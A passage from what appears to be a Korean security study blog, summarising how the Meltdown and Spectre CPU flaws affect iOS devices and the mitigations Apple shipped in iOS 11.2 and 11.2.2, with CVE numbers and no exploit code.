그래서 현재까지 실질적으로 해당 취약점의 영향을 받는 곳은 런타임에 JIT 컴파일러에 의존하는 자바스크립트 엔진과 그 웹브라우저들 뿐이다. ⇒ 그래도 현재 모든 CPU에서는 발생가능하다. 그러나 문제를 발견해 막기도 힘들다.

스펙터가 분기예측이라는 방법론 자체의 문제이기 때문에 멜트다운과 같이 소프트웨어 업데이트로는 사실상 완전히 막을 수 없다.



====================

iOS보안 공부를 하면서 iOS에서도 Meltdown과 Spectre때문에 보안패치를 하였다는 것을 알게되었다. 이에 이 내용을 추가하여 정리해두었다.


iOS에서의 멜트다운, 스펙터 대처

iOS기기에 사용되는 ARM 기반 CPU 는 위 멜트다운과 스펙터에 영향을 받는다.

iOS 11.2

  • 대상: iPhone 5s 및 이후 모델, iPad Air 및 이후 모델, iPod touch (6th generation)
  • 영향: 응용 프로그램에서 커널 메모리를 읽을 수 있음(Meltdown)
  • 설명: 예측 실행과 간접 분기 예측 기술을 활용하는 마이크로프로세서를 탑재한 시스템에서 로컬 사용자 권한을 가진 공격자가 데이터 캐시의 사이드 채널 분석을 통해 무단으로 정보를 입수할 수 있습니다.

iOS 11.2.2

  • 대상: iPhone 5s 및 이후 모델, iPad Air 및 이후 모델, iPod touch (6th generation)
  • 설명: Safari 및 WebKit에 대해 Spectre 효과를 완화시키는 보안 개선(CVE-2017-5753 and CVE-2017-5715).

특히 Spectre는 Mac 시스템이나 iOS 기기의 로컬로 실행 앱으로는 악용하기가 매우 어려운 반면, 웹 브라우저(Safari 등)에서 실행되는 JavaScript를 통해서는 악용될 소지가 다분하다.

[pwnable.kr] syscall

2019. 5. 24. 23:26

+ Recent posts